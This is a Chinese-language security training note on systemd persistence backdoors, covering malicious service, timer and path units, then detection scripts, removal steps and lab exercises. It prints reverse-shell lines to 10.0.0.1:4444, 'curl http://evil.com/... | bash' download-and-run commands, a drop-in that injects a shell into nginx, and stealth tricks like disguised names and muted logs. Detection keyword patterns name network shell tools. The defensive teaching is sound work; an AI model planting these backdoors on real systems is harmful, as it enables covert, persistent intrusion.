Systemd Service 后门 id:: systemd-backdoor-17
概述 Systemd 是现代 Linux 发行版的标准 init 系统,管理服务、定时器、路径监控等
攻击者利用 Systemd 实现持久化的三种方式:
Service 后门 — 创建恶意服务单元,开机自启或手动触发
Timer 后门 — 定时触发恶意服务,功能类似 crontab 但更隐蔽
Path 后门 — 监控文件/目录变化触发恶意服务
Systemd 后门的优势(攻击者视角):
比 crontab 更隐蔽(很多应急响应人员只查 crontab 不查 systemd)
支持自动重启(Restart=always),被杀后自动恢复
支持用户级单元,不需要 root 权限
日志可控(可通过 StandardOutput=null 隐藏输出)
关于服务与启动项常规审计,参见 08-服务与启动项审计
1. Systemd Service 后门 1.1 基本概念 Systemd Service 单元文件定义了服务的启动方式、依赖关系和行为
单元文件的存放位置及优先级(从高到低):
路径
说明
优先级
/etc/systemd/system/
系统管理员自定义(最高优先级)
1
/run/systemd/system/
运行时动态生成
2
/usr/lib/systemd/system/
包管理器安装的服务
3
/usr/local/lib/systemd/system/
本地安装的服务
4
~/.config/systemd/user/
用户级服务(不需要 root)
用户级
高优先级路径中的同名文件会覆盖低优先级的,攻击者可利用此特性
1.2 恶意 Service 文件示例 示例 1:直接反弹 Shell 1 2 3 4 5 6 7 8 9 10 11 12 13 [Unit] Description=System Update Service After=network.target [Service] Type=simple ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' Restart=always RestartSec=60 [Install] WantedBy=multi-user.target
启用并启动:
1 2 3 systemctl daemon-reload systemctl enable system-update.service systemctl start system-update.service
示例 2:下载执行远程 Payload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 [Unit] Description=Security Compliance Check After=network-online.target Wants=network-online.target [Service] Type=oneshot ExecStart=/bin/bash -c 'curl -fsSL http://evil.com/payload.sh | bash' StandardOutput=null StandardError=null [Install] WantedBy=multi-user.target
示例 3:执行隐藏的恶意脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 [Unit] Description=System Log Collector After=syslog.target [Service] Type=forking ExecStart=/usr/local/sbin/.log-collector.sh PIDFile=/var/run/log-collector.pid Restart=on-failure RestartSec=30 [Install] WantedBy=multi-user.target
对应的恶意脚本:
1 2 3 4 5 6 7 8 9 10 11 #!/bin/bash echo $$ > /var/run/log-collector.pidwhile true ; do bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 2>/dev/null sleep 300 done &
示例 4:覆盖合法服务 1 2 3 4 5 6 7 8 9 10 [Unit] Description=Cleanup of Temporary Directories [Service] Type=oneshot ExecStart=/bin/bash -c '/usr/bin/systemd-tmpfiles --clean; curl -fsSL http://evil.com/p.sh | bash'
由于 /etc/systemd/system/ 优先级高于 /usr/lib/systemd/system/,恶意版本会覆盖原始服务
1.3 隐蔽技巧 使用正常名字伪装 常见伪装名:
system-update.service
security-check.service
log-collector.service
network-monitor.service
tmpfile-clean.service
dbus-helper.service
systemd-resolved-update.service
Restart=always 自动恢复 1 2 3 4 [Service] Restart=always RestartSec=60 StartLimitBurst=0
隐藏输出 1 2 3 4 5 6 [Service] StandardOutput=null StandardError=null StandardOutput=append:/var/log/syslog StandardError=append:/var/log/syslog
延迟启动 1 2 3 [Service] ExecStartPre=/bin/sleep 120 ExecStart=/path/to/backdoor
使用 ExecStartPost 注入 1 2 3 4 5 6 7 mkdir -p /etc/systemd/system/nginx.service.d/cat > /etc/systemd/system/nginx.service.d/override.conf << 'EOF' [Service] ExecStartPost=/bin/bash -c 'nohup bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 &' EOF systemctl daemon-reload
这种方式不修改原始 service 文件,而是通过 drop-in 目录注入
1.4 用户级 Service(无需 root) 攻击原理 普通用户可以在 ~/.config/systemd/user/ 创建自己的 service 单元
不需要 root 权限,不需要 systemctl daemon-reload(用户级)
通过 loginctl enable-linger <user> 可以让服务在用户未登录时也运行
示例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 mkdir -p ~/.config/systemd/user/cat > ~/.config/systemd/user/update-notifier.service << 'EOF' [Unit] Description=Update Notifier [Service] Type=simple ExecStart=/bin/bash -c 'while true; do bash -i >& /dev/tcp/10.0.0.1/4444 0>&1; sleep 300; done' Restart=always RestartSec=60 [Install] WantedBy=default.target EOF systemctl --user daemon-reload systemctl --user enable update-notifier.service systemctl --user start update-notifier.service loginctl enable-linger <username>
检测 1 2 3 4 5 6 7 8 9 10 11 12 for home in /root /home/*; do dir ="$home /.config/systemd/user/" if [ -d "$dir " ]; then echo "=== $dir ===" ls -la "$dir " cat "$dir " /*.service 2>/dev/null fi done ls /var/lib/systemd/linger/ 2>/dev/null
2. Systemd Timer 后门 2.1 Timer 基本概念 Systemd Timer 是 crontab 的替代方案,功能更强大
Timer 单元(.timer)和 Service 单元(.service)配对使用
Timer 触发时会自动启动同名的 Service
为什么比 crontab 更隐蔽 :
很多应急响应人员只检查 crontab,不检查 systemd timer
timer 的日志混在 systemd journal 中,不像 cron 有单独日志
可以精确控制触发条件(系统启动后、上次执行后等)
2.2 Timer + Service 配对示例 恶意 Timer 文件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 [Unit] Description=Security Scan Timer [Timer] OnCalendar=*:0/5 OnBootSec=2min Persistent=true RandomizedDelaySec=30 [Install] WantedBy=timers.target
配对的 Service 文件 1 2 3 4 5 6 7 8 9 [Unit] Description=Security Scan Service [Service] Type=oneshot ExecStart=/bin/bash -c 'curl -fsSL http://evil.com/beacon.sh | bash' StandardOutput=null StandardError=null
启用 1 2 3 systemctl daemon-reload systemctl enable security-scan.timer systemctl start security-scan.timer
2.3 常见的 Timer 触发方式
配置项
说明
示例
OnCalendar
类似 crontab 的日历时间
*:0/5(每5分钟)、daily、weekly
OnBootSec
系统启动后
5min(启动后5分钟)
OnUnitActiveSec
上次执行后
1h(上次执行后1小时)
OnStartupSec
systemd 启动后
10min
Persistent
错过的执行是否补执行
true
RandomizedDelaySec
随机延迟
30s(增加检测难度)
OnCalendar 时间格式 1 2 3 4 5 OnCalendar =*-*-* *:0 /5 :00 OnCalendar =*-*-* 02 :00 :00 OnCalendar =Mon *-*-* 00 :00 :00 OnCalendar =daily OnCalendar =hourly
2.4 隐蔽的 Timer 后门示例 1 2 3 4 5 6 7 8 9 10 11 12 [Unit] Description=Journal Cleanup Timer [Timer] OnCalendar=*:0/30 Persistent=true RandomizedDelaySec=120 [Install] WantedBy=timers.target
1 2 3 4 5 6 7 8 9 [Unit] Description=Journal Cleanup Service [Service] Type=oneshot ExecStart=/usr/local/sbin/.journal-gc.sh StandardOutput=null StandardError=null
1 2 3 4 5 6 7 /usr/bin/journalctl --vacuum-time=30d 2>/dev/null (bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 &) 2>/dev/null
3. Systemd Path 后门 3.1 Path 基本概念 Systemd Path 单元可以监控文件或目录的变化,当条件满足时触发关联的 Service
三种监控模式:
配置项
触发条件
PathExists=
指定路径出现时触发(文件/目录被创建)
PathChanged=
文件被关闭写入后触发(文件被修改并保存)
PathModified=
文件被写入时触发(即使尚未关闭)
DirectoryNotEmpty=
目录非空时触发
3.2 攻击场景 场景 1:监控文件写入触发后门 1 2 3 4 5 6 7 8 9 10 [Unit] Description=Configuration File Watcher [Path] PathChanged=/etc/passwd [Install] WantedBy=multi-user.target
1 2 3 4 5 6 7 [Unit] Description=Configuration Update Handler [Service] Type=oneshot ExecStart=/bin/bash -c 'curl -fsSL http://evil.com/notify.sh | bash'
场景 2:等待触发文件出现 1 2 3 4 5 6 7 8 9 10 [Unit] Description=Update Trigger Watcher [Path] PathExists=/tmp/.trigger [Install] WantedBy=multi-user.target
1 2 3 4 5 6 7 [Unit] Description=Update Trigger Handler [Service] Type=oneshot ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1; rm /tmp/.trigger'
攻击者需要反弹 shell 时,只需远程创建 /tmp/.trigger 文件即可触发
场景 3:监控 Web 目录实现持久化 1 2 3 4 5 6 7 8 9 10 [Unit] Description=Web Application Deploy Watcher [Path] DirectoryNotEmpty=/var/www/html/.deploy/ [Install] WantedBy=multi-user.target
1 2 3 4 5 6 7 8 [Unit] Description=Web Application Deploy Handler [Service] Type=oneshot ExecStart=/bin/bash -c 'for f in /var/www/html/.deploy/*; do bash "$f"; rm "$f"; done'
3.3 Path 后门的特点 按需触发,平时不产生任何活动,极难检测
可以与其他攻击链配合使用(如 webshell 写入触发文件来激活后门)
日志中只有触发时的记录,不像 timer 有周期性记录
4. 检测方法 4.1 列出所有自定义单元文件 1 2 3 4 5 6 7 8 9 10 11 12 13 echo "=== /etc/systemd/system/ ===" ls -la /etc/systemd/system/*.service 2>/dev/nullls -la /etc/systemd/system/*.timer 2>/dev/nullls -la /etc/systemd/system/*.path 2>/dev/nullecho "=== Drop-in 覆盖 ===" find /etc/systemd/system/*.service.d/ -name "*.conf" 2>/dev/null echo "=== /run/systemd/system/ ===" ls -la /run/systemd/system/*.service 2>/dev/null
4.2 与包管理器对比 1 2 3 4 5 6 7 8 9 10 11 12 13 14 echo "=== 检查不属于任何包的 service 文件 ===" for f in /etc/systemd/system/*.service /usr/lib/systemd/system/*.service; do [ -f "$f " ] || continue dpkg -S "$f " 2>/dev/null || rpm -qf "$f " 2>/dev/null || \ echo "[可疑] 不属于任何包: $f " done for f in /etc/systemd/system/*.timer /etc/systemd/system/*.path; do [ -f "$f " ] || continue dpkg -S "$f " 2>/dev/null || rpm -qf "$f " 2>/dev/null || \ echo "[可疑] 不属于任何包: $f " done
4.3 按修改时间筛选 1 2 3 4 5 6 7 8 9 10 11 12 find /etc/systemd/system/ /usr/lib/systemd/system/ \ -name "*.service" -o -name "*.timer" -o -name "*.path" 2>/dev/null | \ xargs ls -lt 2>/dev/null | head -30 find /etc/systemd/system/ -type f -mtime -7 -ls 2>/dev/null find /etc/systemd/system/ \ \( -name "*.service" -o -name "*.timer" -o -name "*.path" \) \ -newer /etc/os-release -ls 2>/dev/null
4.4 检查 ExecStart 中的可疑命令 1 2 3 4 5 6 7 8 9 10 11 12 13 14 echo "=== 检查 ExecStart 中的可疑命令 ===" KEYWORDS='(dev/tcp|dev/udp|base64|curl.*bash|wget.*bash|nc\s+-e|python.*-c|perl.*-e|ncat|mkfifo|/tmp/|\.sh$)' for f in /etc/systemd/system/*.service /etc/systemd/system/*/*.conf; do [ -f "$f " ] || continue if grep -iE "Exec.*=.*($KEYWORDS )" "$f " 2>/dev/null; then echo -e "\033[0;31m[!] 可疑: $f \033[0m" grep -E "^Exec" "$f " fi done grep -rn "ExecStart.*\." /etc/systemd/system/ 2>/dev/null | grep "/\."
4.5 检查 Timer 列表 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 systemctl list-timers --all --no-pager systemctl list-timers --all --no-pager | awk 'NR>1{print $NF}' | \ sed 's/\.timer/.service/' | while read svc; do unit_file=$(systemctl show "$svc " -p FragmentPath 2>/dev/null | cut -d= -f2) if [ -n "$unit_file " ] && [ -f "$unit_file " ]; then echo "--- $svc ($unit_file ) ---" grep "ExecStart" "$unit_file " fi done
4.6 检查 Path 单元 1 2 3 4 5 6 7 8 9 systemctl list-units --type =path --all --no-pager for f in /etc/systemd/system/*.path; do [ -f "$f " ] || continue echo "--- $f ---" grep -E "^Path" "$f " done
4.7 检查用户级 Systemd 单元 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 for home in /root /home/*; do user_dir="$home /.config/systemd/user/" if [ -d "$user_dir " ]; then echo "=== $user_dir ===" ls -la "$user_dir " for f in "$user_dir " /*.service "$user_dir " /*.timer "$user_dir " /*.path; do [ -f "$f " ] || continue echo "--- $f ---" cat "$f " done fi done echo "=== Linger 用户 ===" ls /var/lib/systemd/linger/ 2>/dev/null || echo "无 linger 用户"
4.8 综合检测脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 #!/bin/bash RED='\033[0;31m' YELLOW='\033[1;33m' GREEN='\033[0;32m' NC='\033[0m' KEYWORDS='(dev/tcp|dev/udp|base64|curl.*\|.*bash|wget.*\|.*bash|nc\s+-e|python.*-c|perl.*-e|ncat|mkfifo)' echo "==========================================" echo " Systemd 后门全面检测" echo "==========================================" echo -e "\n${YELLOW} [1] 不属于任何包的 service/timer/path 文件${NC} " for f in /etc/systemd/system/*.service /etc/systemd/system/*.timer /etc/systemd/system/*.path; do [ -f "$f " ] || continue base=$(basename "$f " ) [ -L "$f " ] && continue dpkg -S "$f " 2>/dev/null >/dev/null || rpm -qf "$f " 2>/dev/null >/dev/null || \ echo -e "${YELLOW} [?] $f${NC} " done echo -e "\n${YELLOW} [2] ExecStart 中的可疑命令${NC} " for f in /etc/systemd/system/*.service /etc/systemd/system/*/*.conf \ /run/systemd/system/*.service; do [ -f "$f " ] || continue if grep -qiE "Exec.*=.*$KEYWORDS " "$f " 2>/dev/null; then echo -e "${RED} [!] $f${NC} " grep -E "^Exec" "$f " | sed 's/^/ /' fi done echo -e "\n${YELLOW} [3] Service drop-in 覆盖文件${NC} " find /etc/systemd/system/*.service.d/ -name "*.conf" 2>/dev/null | while read f; do echo " $f " grep "Exec" "$f " 2>/dev/null | sed 's/^/ /' done echo -e "\n${YELLOW} [4] 所有 Timer 单元${NC} " systemctl list-timers --all --no-pager 2>/dev/null echo -e "\n${YELLOW} [5] 所有 Path 单元${NC} " systemctl list-units --type =path --all --no-pager 2>/dev/null echo -e "\n${YELLOW} [6] 用户级 Systemd 单元${NC} " for home in /root /home/*; do dir ="$home /.config/systemd/user/" [ -d "$dir " ] || continue echo " 目录: $dir " ls "$dir " 2>/dev/null | sed 's/^/ /' done echo " Linger 用户: $(ls /var/lib/systemd/linger/ 2>/dev/null || echo '无') " echo -e "\n${YELLOW} [7] 最近 7 天修改的单元文件${NC} " find /etc/systemd/system/ -type f -mtime -7 2>/dev/null | while read f; do echo " $f ($(stat -c '%y' "$f " 2>/dev/null || stat -f '%Sm' "$f " 2>/dev/null) )" done echo -e "\n${GREEN} [完成] Systemd 后门检测完毕${NC} "
5. 清除与加固 5.1 清除步骤 Step 1 :备份恶意单元文件用于取证
1 2 cp /etc/systemd/system/malicious.service /tmp/evidence/cp /etc/systemd/system/malicious.timer /tmp/evidence/
Step 2 :停止并禁用恶意服务
1 2 3 4 5 6 7 8 systemctl stop malicious.service systemctl disable malicious.service systemctl stop malicious.timer systemctl disable malicious.timer systemctl --user stop malicious.service systemctl --user disable malicious.service
Step 3 :删除恶意单元文件
1 2 3 4 5 6 7 8 9 rm /etc/systemd/system/malicious.servicerm /etc/systemd/system/malicious.timerrm /etc/systemd/system/malicious.pathrm -rf /etc/systemd/system/nginx.service.d/override.confrm ~/.config/systemd/user/malicious.service
Step 4 :重新加载 systemd 配置
1 2 systemctl daemon-reload systemctl --user daemon-reload
Step 5 :删除恶意脚本
1 2 3 rm /usr/local/sbin/.log-collector.shrm /usr/local/sbin/.journal-gc.sh
Step 6 :禁用不必要的 linger
1 loginctl disable-linger <username>
5.2 加固措施 使用 AIDE/OSSEC 监控 /etc/systemd/system/ 目录变更
定期执行 systemctl list-unit-files 并与基线对比
限制普通用户创建 systemd user 单元的权限
使用 SELinux/AppArmor 限制 systemd service 的执行范围
监控 systemctl daemon-reload 和 systemctl enable 的调用
1 2 3 auditctl -w /etc/systemd/system/ -p wa -k systemd_mod auditctl -w /usr/lib/systemd/system/ -p wa -k systemd_mod
6. 配套实验 实验环境 目录:labs/12-persistence-systemd/
靶机:Ubuntu 22.04 / CentOS 7(需要 systemd)
实验内容 实验 1 :创建恶意 systemd service(3种变体:直接反弹、远程下载、隐藏脚本),然后检测
实验 2 :创建 timer + service 配对后门,对比 crontab,理解 timer 的隐蔽性
实验 3 :创建 path 后门,通过写入触发文件激活,理解按需触发机制
实验 4 :创建用户级 service 后门(无需 root),练习用户级单元的检测
实验 5 :使用 drop-in 目录注入合法服务,练习覆盖检测
实验 6 :运行综合检测脚本,清除所有后门并加固
参考链接 08-服务与启动项审计 — 常规服务审计方法
15-Crontab后门 — Crontab 持久化后门
18-Bashrc与Profile后门 — Shell 启动脚本后门